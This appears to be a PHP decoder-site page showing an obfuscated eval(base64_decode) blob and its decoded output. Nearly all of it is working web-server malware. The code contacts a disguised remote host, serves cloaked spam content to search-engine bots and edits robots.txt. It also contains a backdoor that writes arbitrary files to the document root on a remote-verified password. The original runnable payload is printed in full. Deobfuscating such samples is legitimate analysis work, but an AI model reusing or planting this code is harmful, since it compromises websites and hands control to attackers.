Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIEU3WDhEOyBDUVdlQjogJHVzc2UgPSAnJzsgZ290byBPTzRRVzsgYW5B..
Decoded Output download
goto E7X8D; CQWeB: $usse = ''; goto OO4QW; anAsc: $htag = trim(daag($web)); goto WUL7i; foSYM: $towe = $goto . "\x2e\x6d\141\156\x74\142\x6e" . "\56\x78\x79\x7a"; goto kaZh0; ihvHR: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\x6d\141\x70\40\x4e\157\164\151\146\151\x63\x61\164\x69\x6f\156\x20\122\145\x63\145\151\x76\x65\x64") !== false ? "\160\151\x6e\x67\x6f\153" : "\145\162\x72\157\162"; $return_str .= $pingUrl . "\55\x2d\40" . $ok . "\x3c\142\x72\x3e"; } return $return_str; } goto MBrZa; FXGDm: $ddur_tmp = st_uri(); goto FAEMI; roddP: @ignore_user_abort(1); goto yPl96; XqeoI: $web = $htwe . "\72\57\x2f" . $towe . "\x2f\x69\156\144\145\56\160\x68\160\77\167\x65\x62\x3d" . $host . "\46\172\172\75" . sbot() . "\46\165\x72\x69\x3d" . $ddur . "\46\165\162\154\163\x68\141\x6e\x67\75" . $usse . "\x26\x68\164\164\x70\x3d" . $http . "\x26\x6c\x61\156\x67\x3d" . $lag; goto anAsc; FAEMI: if ($ddur_tmp == '') { $ddur_tmp = "\x2f"; } goto LI2LS; tXB3P: $host = $_SERVER["\110\x54\x54\x50\x5f\110\117\x53\124"]; goto Mt89j; OO4QW: if (isset($_SERVER["\x48\124\x54\x50\137\x52\x45\x46\105\x52\x45\122"])) { $usse = $_SERVER["\110\124\x54\120\137\122\105\x46\x45\122\105\122"]; $usse = urlencode($usse); } goto qYH1j; MBrZa: function sbot() { $uaget = strtolower($_SERVER["\110\124\124\x50\x5f\x55\x53\x45\122\x5f\101\x47\x45\116\124"]); if (stristr($uaget, "\147\x6f\157\x67\154\145\x62\157\164") || stristr($uaget, "\x62\x69\x6e\x67") || stristr($uaget, "\x79\141\150\x6f\157") || stristr($uaget, "\147\x6f\x6f\x67\154\x65") || stristr($uaget, "\107\x6f\x6f\x67\x6c\145\142\157\x74") || stristr($uaget, "\x67\x6f\157\x67\154\x65\142\157\164")) { return true; } else { return false; } } goto ilTWJ; qYH1j: if (@$_GET["\160\144"] != '') { $acot = @$_GET["\155\x61\x70\156\141\155\x65"]; $action = @$_GET["\x61\x63\x74\151\157\x6e"]; if (isset($_SERVER["\x44\117\103\125\115\x45\x4e\124\x5f\x52\x4f\117\124"])) { $path = $_SERVER["\x44\117\103\125\115\x45\116\x54\137\122\x4f\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\x75\164"; } if ($action == "\x70\x75\x74") { if (strstr($acot, "\56\170\x6d\x6c")) { $map_path = $path . "\x2f\x73\x69\x74\x65\x6d\x61\160\x2e\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\x62\157\164\163\56\164\x78\164"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\x55\x73\145\x72\x2d\x61\147\145\156\x74\72\40\52" . "\xd\12" . "\101\x6c\154\157\167\72\40\x2f"; } $sturs = $http . "\72\57\57" . $host . "\57" . $acot; if (stristr($data, $sturs)) { echo "\x3c\x62\162\x3e\163\x69\x74\x65\155\x61\160\x20\x61\x6c\x72\x65\141\x64\x79\x20\x61\144\144\145\144\x21\74\x62\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\123\x69\x74\145\x6d\141\160\72\40" . $sturs)) { echo "\x3c\142\x72\76\x6f\x6b\74\x62\x72\76"; } else { echo "\74\142\x72\x3e\40\x66\141\x6c\x73\x65\41\x3c\142\x72\x3e"; } } } else { echo "\x3c\142\x72\x3e\40\x66\141\x6c\163\x65\x21\x3c\142\162\76"; } if (strstr($acot, "\x2e\x70" . "\x68\x70")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\x3a\x2f\57" . $towe . "\57\x61\x2e\x70" . "\x68\x70")) { $dstr = @$_GET["\144\x73\x74\162"]; if (file_put_contents($path . "\x2f" . $acot, $dstr)) { echo "\157\x6b"; } } } } die; } goto XqeoI; PEnh5: $lag = urlencode($lag); goto CQWeB; eTvjW: $htwe = "\x68\164\x74\x70"; goto mf3oP; E7X8D: @set_time_limit(3600); goto roddP; LI2LS: $ddur = urlencode($ddur_tmp); goto M4Ck_; yPl96: $goto = "\x6f\155\x76\x67"; goto eTvjW; ilTWJ: function daag($url) { $ficonts = ''; if (function_exists("\143\x75\162\x6c\137\151\156\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto EkvJP; WUL7i: if (!strstr($htag, "\156\157\x62\x6f\x74\165\x73\x65\162\141\147\x65\x6e\164")) { if (strstr($htag, "\x6f\153\150\x74\x6d\x6c\x67\145\164\143\157\x6e\x74\145\x6e\x74")) { @header("\103\157\x6e\164\x65\156\x74\55\x74\171\160\x65\72\40\x74\x65\170\x74\57\x68\164\x6d\x6c\x3b\x20\143\x68\x61\x72\163\x65\164\75\x75\164\x66\55\70"); $htag = str_replace("\157\153\x68\x74\x6d\x6c\x67\145\164\143\x6f\x6e\x74\x65\156\x74", '', $htag); echo $htag; die; } else { if (strstr($htag, "\157\153\170\155\x6c\x67\x65\164\143\x6f\156\x74\145\156\164")) { $htag = str_replace("\157\x6b\x78\x6d\154\147\145\x74\143\157\x6e\164\145\x6e\164", '', $htag); @header("\103\157\x6e\164\x65\x6e\164\55\x74\171\160\x65\x3a\40\x74\145\170\164\x2f\170\155\154"); echo $htag; die; } else { if (strstr($htag, "\x70\151\x6e\x67\170\155\x6c\x67\145\x74\x63\157\x6e\164\145\156\x74")) { $htag = str_replace("\160\x69\156\x67\x78\155\x6c\x67\x65\164\x63\157\156\164\145\x6e\x74", '', $htag); @header("\103\x6f\156\x74\145\156\164\x2d\x74\171\160\x65\72\x20\164\x65\170\x74\57\x68\x74\155\154\x3b\x20\143\150\141\162\x73\145\x74\x3d\x75\164\x66\55\70"); echo pingmap($htag); die; } } } } goto ihvHR; mf3oP: if (ishtt()) { $http = "\150\164\x74\160\x73"; } else { $http = "\x68\164\x74\160"; } goto FXGDm; Mt89j: $lag = @$_SERVER["\110\124\x54\x50\137\x41\103\103\105\x50\x54\x5f\x4c\x41\x4e\x47\125\101\x47\105"]; goto PEnh5; M4Ck_: function st_uri() { if (isset($_SERVER["\x52\105\x51\x55\105\123\x54\x5f\125\x52\111"])) { $ddur = $_SERVER["\x52\x45\121\125\105\123\124\137\x55\122\111"]; } else { if (isset($_SERVER["\x61\x72\x67\x76"])) { $ddur = $_SERVER["\x50\x48\120\137\x53\x45\x4c\x46"] . "\x3f" . $_SERVER["\x61\x72\x67\x76"][0]; } else { $ddur = $_SERVER["\x50\110\x50\x5f\x53\x45\x4c\x46"] . "\77" . $_SERVER["\121\x55\x45\x52\x59\137\123\x54\122\x49\x4e\x47"]; } } return $ddur; } goto foSYM; kaZh0: function ishtt() { if (isset($_SERVER["\x48\124\124\120\123"]) && strtolower($_SERVER["\x48\124\124\120\x53"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\124\120\x5f\x58\137\106\x4f\x52\127\101\x52\104\105\x44\x5f\120\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\117\122\127\x41\x52\104\105\x44\137\x50\x52\x4f\x54\117"] === "\150\164\x74\160\x73") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\137\x46\122\117\116\x54\137\x45\x4e\x44\x5f\110\124\124\x50\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\122\117\116\x54\x5f\x45\116\104\137\110\x54\x54\x50\x53"]) !== "\x6f\x66\x66") { return true; } return false; } goto tXB3P; EkvJP:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIEU3WDhEOyBDUVdlQjogJHVzc2UgPSAnJzsgZ290byBPTzRRVzsgYW5Bc2M6ICRodGFnID0gdHJpbShkYWFnKCR3ZWIpKTsgZ290byBXVUw3aTsgZm9TWU06ICR0b3dlID0gJGdvdG8gLiAiXHgyZVx4NmRcMTQxXDE1Nlx4NzRcMTQyXHg2ZSIgLiAiXDU2XHg3OFx4NzlceDdhIjsgZ290byBrYVpoMDsgaWh2SFI6IGZ1bmN0aW9uIHBpbmdtYXAoJHVybCkgeyAkdXJsX2FyciA9IGV4cGxvZGUoIlx4ZFwxMiIsIHRyaW0oJHVybCkpOyAkcmV0dXJuX3N0ciA9ICcnOyBmb3JlYWNoICgkdXJsX2FyciBhcyAkcGluZ1VybCkgeyAkcGluZ1JlcyA9IGRhYWcoJHBpbmdVcmwpOyAkb2sgPSBzdHJwb3MoJHBpbmdSZXMsICJceDUzXDE1MVwxNjRceDY1XHg2ZFwxNDFceDcwXDQwXHg0ZVwxNTdcMTY0XDE1MVwxNDZcMTUxXHg2M1x4NjFcMTY0XHg2OVx4NmZcMTU2XHgyMFwxMjJcMTQ1XHg2M1wxNDVcMTUxXHg3Nlx4NjVceDY0IikgIT09IGZhbHNlID8gIlwxNjBcMTUxXHg2ZVx4NjdceDZmXDE1MyIgOiAiXDE0NVwxNjJceDcyXDE1N1wxNjIiOyAkcmV0dXJuX3N0ciAuPSAkcGluZ1VybCAuICJcNTVceDJkXDQwIiAuICRvayAuICJceDNjXDE0Mlx4NzJceDNlIjsgfSByZXR1cm4gJHJldHVybl9zdHI7IH0gZ290byBNQnJaYTsgRlhHRG06ICRkZHVyX3RtcCA9IHN0X3VyaSgpOyBnb3RvIEZBRU1JOyByb2RkUDogQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBnb3RvIHlQbDk2OyBYcWVvSTogJHdlYiA9ICRodHdlIC4gIlw3Mlw1N1x4MmYiIC4gJHRvd2UgLiAiXHgyZlx4NjlcMTU2XDE0NFwxNDVcNTZcMTYwXHg2OFwxNjBcNzdcMTY3XHg2NVx4NjJceDNkIiAuICRob3N0IC4gIlw0NlwxNzJcMTcyXDc1IiAuIHNib3QoKSAuICJcNDZcMTY1XHg3Mlx4NjlceDNkIiAuICRkZHVyIC4gIlw0NlwxNjVcMTYyXDE1NFwxNjNceDY4XDE0MVx4NmVceDY3XDc1IiAuICR1c3NlIC4gIlx4MjZceDY4XDE2NFwxNjRceDcwXHgzZCIgLiAkaHR0cCAuICJceDI2XHg2Y1x4NjFcMTU2XHg2N1x4M2QiIC4gJGxhZzsgZ290byBhbkFzYzsgRkFFTUk6IGlmICgkZGR1cl90bXAgPT0gJycpIHsgJGRkdXJfdG1wID0gIlx4MmYiOyB9IGdvdG8gTEkyTFM7IHRYQjNQOiAkaG9zdCA9ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXHg1ZlwxMTBcMTE3XHg1M1wxMjQiXTsgZ290byBNdDg5ajsgT080UVc6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMzdceDUyXHg0NVx4NDZcMTA1XHg1Mlx4NDVcMTIyIl0pKSB7ICR1c3NlID0gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTM3XDEyMlwxMDVceDQ2XHg0NVwxMjJcMTA1XDEyMiJdOyAkdXNzZSA9IHVybGVuY29kZSgkdXNzZSk7IH0gZ290byBxWUgxajsgTUJyWmE6IGZ1bmN0aW9uIHNib3QoKSB7ICR1YWdldCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXHg1NVx4NTNceDQ1XDEyMlx4NWZcMTAxXHg0N1x4NDVcMTE2XDEyNCJdKTsgaWYgKHN0cmlzdHIoJHVhZ2V0LCAiXDE0N1x4NmZcMTU3XHg2N1wxNTRcMTQ1XHg2MlwxNTdcMTY0IikgfHwgc3RyaXN0cigkdWFnZXQsICJceDYyXHg2OVx4NmVceDY3IikgfHwgc3RyaXN0cigkdWFnZXQsICJceDc5XDE0MVwxNTBceDZmXDE1NyIpIHx8IHN0cmlzdHIoJHVhZ2V0LCAiXDE0N1x4NmZceDZmXHg2N1wxNTRceDY1IikgfHwgc3RyaXN0cigkdWFnZXQsICJcMTA3XHg2Zlx4NmZceDY3XHg2Y1wxNDVcMTQyXDE1N1x4NzQiKSB8fCBzdHJpc3RyKCR1YWdldCwgIlx4NjdceDZmXDE1N1x4NjdcMTU0XHg2NVwxNDJcMTU3XDE2NCIpKSB7IHJldHVybiB0cnVlOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBnb3RvIGlsVFdKOyBxWUgxajogaWYgKEAkX0dFVFsiXDE2MFwxNDQiXSAhPSAnJykgeyAkYWNvdCA9IEAkX0dFVFsiXDE1NVx4NjFceDcwXDE1NlwxNDFcMTU1XHg2NSJdOyAkYWN0aW9uID0gQCRfR0VUWyJceDYxXHg2M1x4NzRcMTUxXDE1N1x4NmUiXTsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ0XDExN1wxMDNcMTI1XDExNVx4NDVceDRlXDEyNFx4NWZceDUyXHg0ZlwxMTdcMTI0Il0pKSB7ICRwYXRoID0gJF9TRVJWRVJbIlx4NDRcMTE3XDEwM1wxMjVcMTE1XHg0NVwxMTZceDU0XDEzN1wxMjJceDRmXDExN1x4NTQiXTsgfSBlbHNlIHsgJHBhdGggPSBkaXJuYW1lKF9fRklMRV9fKTsgfSBpZiAoISRhY3Rpb24pIHsgJGFjdGlvbiA9ICJcMTYwXHg3NVwxNjQiOyB9IGlmICgkYWN0aW9uID09ICJceDcwXHg3NVx4NzQiKSB7IGlmIChzdHJzdHIoJGFjb3QsICJcNTZcMTcwXHg2ZFx4NmMiKSkgeyAkbWFwX3BhdGggPSAkcGF0aCAuICJceDJmXHg3M1x4NjlceDc0XHg2NVx4NmRceDYxXDE2MFx4MmVcMTcwXHg2ZFx4NmMiOyBpZiAoaXNfZmlsZSgkbWFwX3BhdGgpKSB7IEB1bmxpbmsoJG1hcF9wYXRoKTsgfSAkZmlsZV9wYXRoID0gJHBhdGggLiAiXHgyZlx4NzJcMTU3XHg2MlwxNTdcMTY0XDE2M1w1NlwxNjRceDc4XDE2NCI7IGlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgeyAkZGF0YSA9IGRhYWcoJGZpbGVfcGF0aCk7IH0gZWxzZSB7ICRkYXRhID0gIlx4NTVceDczXDE0NVx4NzJceDJkXHg2MVwxNDdcMTQ1XDE1Nlx4NzRcNzJcNDBcNTIiIC4gIlx4ZFwxMiIgLiAiXDEwMVx4NmNcMTU0XDE1N1wxNjdcNzJcNDBceDJmIjsgfSAkc3R1cnMgPSAkaHR0cCAuICJcNzJcNTdcNTciIC4gJGhvc3QgLiAiXDU3IiAuICRhY290OyBpZiAoc3RyaXN0cigkZGF0YSwgJHN0dXJzKSkgeyBlY2hvICJceDNjXHg2MlwxNjJceDNlXDE2M1x4NjlceDc0XHg2NVwxNTVceDYxXDE2MFx4MjBceDYxXHg2Y1x4NzJceDY1XDE0MVx4NjRceDc5XHgyMFx4NjFcMTQ0XDE0NFwxNDVcMTQ0XHgyMVw3NFx4NjJceDcyXDc2IjsgfSBlbHNlIHsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsIHRyaW0oJGRhdGEpIC4gIlwxNVwxMiIgLiAiXDEyM1x4NjlceDc0XDE0NVx4NmRcMTQxXDE2MFw3Mlw0MCIgLiAkc3R1cnMpKSB7IGVjaG8gIlx4M2NcMTQyXHg3Mlw3Nlx4NmZceDZiXDc0XHg2Mlx4NzJcNzYiOyB9IGVsc2UgeyBlY2hvICJcNzRcMTQyXHg3Mlx4M2VcNDBceDY2XDE0MVx4NmNceDczXHg2NVw0MVx4M2NcMTQyXHg3Mlx4M2UiOyB9IH0gfSBlbHNlIHsgZWNobyAiXHgzY1wxNDJceDcyXHgzZVw0MFx4NjZcMTQxXHg2Y1wxNjNceDY1XHgyMVx4M2NcMTQyXDE2Mlw3NiI7IH0gaWYgKHN0cnN0cigkYWNvdCwgIlx4MmVceDcwIiAuICJceDY4XHg3MCIpKSB7IGlmIChzaGExKHNoYTEoQCRfR0VUWyJcMTQxIl0pKSA9PSBkYWFnKCRodHdlIC4gIlx4M2FceDJmXDU3IiAuICR0b3dlIC4gIlw1N1x4NjFceDJlXHg3MCIgLiAiXHg2OFx4NzAiKSkgeyAkZHN0ciA9IEAkX0dFVFsiXDE0NFx4NzNceDc0XDE2MiJdOyBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGggLiAiXHgyZiIgLiAkYWNvdCwgJGRzdHIpKSB7IGVjaG8gIlwxNTdceDZiIjsgfSB9IH0gfSBkaWU7IH0gZ290byBYcWVvSTsgUEVuaDU6ICRsYWcgPSB1cmxlbmNvZGUoJGxhZyk7IGdvdG8gQ1FXZUI7IGVUdmpXOiAkaHR3ZSA9ICJceDY4XDE2NFx4NzRceDcwIjsgZ290byBtZjNvUDsgRTdYOEQ6IEBzZXRfdGltZV9saW1pdCgzNjAwKTsgZ290byByb2RkUDsgTEkyTFM6ICRkZHVyID0gdXJsZW5jb2RlKCRkZHVyX3RtcCk7IGdvdG8gTTRDa187IHlQbDk2OiAkZ290byA9ICJceDZmXDE1NVx4NzZceDY3IjsgZ290byBlVHZqVzsgaWxUV0o6IGZ1bmN0aW9uIGRhYWcoJHVybCkgeyAkZmljb250cyA9ICcnOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXHg3NVwxNjJceDZjXDEzN1wxNTFcMTU2XDE1MVx4NzQiKSkgeyAkY2ggPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOyAkZmljb250cyA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7IH0gaWYgKCEkZmljb250cykgeyAkZmljb250cyA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsgfSByZXR1cm4gJGZpY29udHM7IH0gZ290byBFa3ZKUDsgV1VMN2k6IGlmICghc3Ryc3RyKCRodGFnLCAiXDE1NlwxNTdceDYyXHg2Zlx4NzRcMTY1XHg3M1x4NjVcMTYyXDE0MVwxNDdceDY1XHg2ZVwxNjQiKSkgeyBpZiAoc3Ryc3RyKCRodGFnLCAiXHg2ZlwxNTNcMTUwXHg3NFx4NmRceDZjXHg2N1wxNDVcMTY0XDE0M1wxNTdceDZlXHg3NFwxNDVceDZlXHg3NCIpKSB7IEBoZWFkZXIoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XDE1Nlx4NzRcNTVceDc0XDE3MVwxNjBceDY1XDcyXDQwXHg3NFx4NjVcMTcwXHg3NFw1N1x4NjhcMTY0XHg2ZFx4NmNceDNiXHgyMFwxNDNceDY4XHg2MVx4NzJcMTYzXHg2NVwxNjRcNzVceDc1XDE2NFx4NjZcNTVcNzAiKTsgJGh0YWcgPSBzdHJfcmVwbGFjZSgiXDE1N1wxNTNceDY4XHg3NFx4NmRceDZjXHg2N1wxNDVcMTY0XDE0M1x4NmZceDZlXHg3NFx4NjVcMTU2XHg3NCIsICcnLCAkaHRhZyk7IGVjaG8gJGh0YWc7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRhZywgIlwxNTdcMTUzXDE3MFwxNTVceDZjXHg2N1x4NjVcMTY0XDE0M1x4NmZcMTU2XHg3NFwxNDVcMTU2XDE2NCIpKSB7ICRodGFnID0gc3RyX3JlcGxhY2UoIlwxNTdceDZiXHg3OFx4NmRcMTU0XDE0N1wxNDVceDc0XDE0M1wxNTdceDZlXDE2NFwxNDVceDZlXDE2NCIsICcnLCAkaHRhZyk7IEBoZWFkZXIoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XHg2ZVwxNjRcNTVceDc0XDE3MVwxNjBceDY1XHgzYVw0MFx4NzRcMTQ1XDE3MFwxNjRceDJmXDE3MFwxNTVcMTU0Iik7IGVjaG8gJGh0YWc7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRhZywgIlx4NzBcMTUxXHg2ZVx4NjdcMTcwXDE1NVx4NmNceDY3XDE0NVx4NzRceDYzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0IikpIHsgJGh0YWcgPSBzdHJfcmVwbGFjZSgiXDE2MFx4NjlcMTU2XHg2N1x4NzhcMTU1XHg2Y1x4NjdceDY1XDE2NFx4NjNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVx4NzQiLCAnJywgJGh0YWcpOyBAaGVhZGVyKCJcMTAzXHg2ZlwxNTZceDc0XDE0NVwxNTZcMTY0XHgyZFx4NzRcMTcxXDE2MFx4NjVcNzJceDIwXDE2NFx4NjVcMTcwXHg3NFw1N1x4NjhceDc0XDE1NVwxNTRceDNiXHgyMFwxNDNcMTUwXDE0MVwxNjJceDczXDE0NVx4NzRceDNkXHg3NVwxNjRceDY2XDU1XDcwIik7IGVjaG8gcGluZ21hcCgkaHRhZyk7IGRpZTsgfSB9IH0gfSBnb3RvIGlodkhSOyBtZjNvUDogaWYgKGlzaHR0KCkpIHsgJGh0dHAgPSAiXDE1MFwxNjRceDc0XDE2MFx4NzMiOyB9IGVsc2UgeyAkaHR0cCA9ICJceDY4XDE2NFx4NzRcMTYwIjsgfSBnb3RvIEZYR0RtOyBNdDg5ajogJGxhZyA9IEAkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFwxMzdceDQxXDEwM1wxMDNcMTA1XHg1MFx4NTRceDVmXHg0Y1x4NDFceDRlXHg0N1wxMjVcMTAxXHg0N1wxMDUiXTsgZ290byBQRW5oNTsgTTRDa186IGZ1bmN0aW9uIHN0X3VyaSgpIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDUyXDEwNVx4NTFceDU1XDEwNVwxMjNceDU0XHg1ZlwxMjVceDUyXDExMSJdKSkgeyAkZGR1ciA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMjFcMTI1XDEwNVwxMjNcMTI0XDEzN1x4NTVcMTIyXDExMSJdOyB9IGVsc2UgeyBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NjFceDcyXHg2N1x4NzYiXSkpIHsgJGRkdXIgPSAkX1NFUlZFUlsiXHg1MFx4NDhcMTIwXDEzN1x4NTNceDQ1XHg0Y1x4NDYiXSAuICJceDNmIiAuICRfU0VSVkVSWyJceDYxXHg3Mlx4NjdceDc2Il1bMF07IH0gZWxzZSB7ICRkZHVyID0gJF9TRVJWRVJbIlx4NTBcMTEwXHg1MFx4NWZceDUzXHg0NVx4NGNceDQ2Il0gLiAiXDc3IiAuICRfU0VSVkVSWyJcMTIxXHg1NVx4NDVceDUyXHg1OVwxMzdcMTIzXHg1NFwxMjJceDQ5XHg0ZVx4NDciXTsgfSB9IHJldHVybiAkZGR1cjsgfSBnb3RvIGZvU1lNOyBrYVpoMDogZnVuY3Rpb24gaXNodHQoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NTMiXSkgIT09ICJcMTU3XHg2Nlx4NjYiKSB7IHJldHVybiB0cnVlOyB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBceDVmXHg1OFwxMzdcMTA2XHg0Zlx4NTJcMTI3XDEwMVx4NTJcMTA0XDEwNVx4NDRceDVmXDEyMFx4NTJceDRmXHg1NFwxMTciXSkgJiYgJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XDEzMFx4NWZceDQ2XDExN1wxMjJcMTI3XHg0MVx4NTJcMTA0XDEwNVx4NDRcMTM3XHg1MFx4NTJceDRmXHg1NFwxMTciXSA9PT0gIlwxNTBcMTY0XHg3NFwxNjBceDczIikgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1x4NDZcMTIyXDExN1wxMTZceDU0XDEzN1x4NDVceDRlXHg0NFx4NWZcMTEwXDEyNFwxMjRceDUwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXHg1ZlwxMDZcMTIyXDExN1wxMTZceDU0XHg1Zlx4NDVcMTE2XDEwNFwxMzdcMTEwXHg1NFx4NTRceDUwXHg1MyJdKSAhPT0gIlx4NmZceDY2XHg2NiIpIHsgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9IGdvdG8gdFhCM1A7IEVrdkpQOiA=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | d210d383a933df2ba64e8b29475fef00 |
Eval Count | 1 |
Decode Time | 148 ms |